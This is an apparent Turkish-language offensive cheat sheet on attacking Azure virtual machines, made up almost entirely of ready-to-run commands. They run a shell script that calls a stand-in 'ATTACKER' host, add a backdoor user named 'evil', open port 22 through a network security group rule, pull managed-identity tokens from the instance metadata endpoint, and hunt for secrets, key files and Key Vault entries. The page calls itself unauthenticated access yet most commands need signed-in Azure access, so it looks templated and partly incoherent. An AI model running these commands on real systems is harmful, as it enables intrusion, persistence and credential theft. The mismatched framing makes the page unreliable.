Skip to content

Az - VMs Unauth

Azure unauth

Az - VMs Unauth — Azure / Entra ortamında kimlik doğrulamasız keşif ve ilk erişim notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Anonim / public yüzeyleri (URL, bucket, API, metadata) parmak izi al.

  2. Kimlik gerektiren uçları ayrı tut; açık policy / misconfig doğrula.

  3. Erişim kanıtı üret (listeleme, okuma, invoke).

  4. Elde edilen secret/token ile authenticated faza geç.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
az account show
Terminal window
az ad signed-in-user show
Terminal window
az account get-access-token --query accessToken -o tsv | cut -c1-20

Az - VMs Unauth için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
az vm run-command invoke -g RG -n VM --command-id RunShellScript --scripts 'id;curl ATTACKER'
Terminal window
az vm user update -g RG -n VM --username evil --password 'P@ssw0rd!'
Terminal window
az vm extension set -g RG --vm-name VM --name CustomScript --publisher Microsoft.Azure.Extensions --settings '{"commandToExecute":"id"}'
Terminal window
az network nic list -o table
Terminal window
az network nsg rule create -g RG --nsg-name NSG -n open22 --priority 100 --access Allow --protocol Tcp --destination-port-ranges 22
Terminal window
curl -sH Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
Terminal window
curl -sH Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
Terminal window
az vm list -d -o table

İmzasız veya public istekle okuma/yazma/invoke mümkün mü — bunu netleştir.

Terminal window
curl -sI https://ACC.blob.core.windows.net/CON?restype=container&comp=list
Terminal window
curl -s https://APP.azurewebsites.net/api/fn
Terminal window
curl -sI https://REG.azurecr.io/v2/
Terminal window
curl -sH Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
az keyvault secret list --vault-name VAULT -o table

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt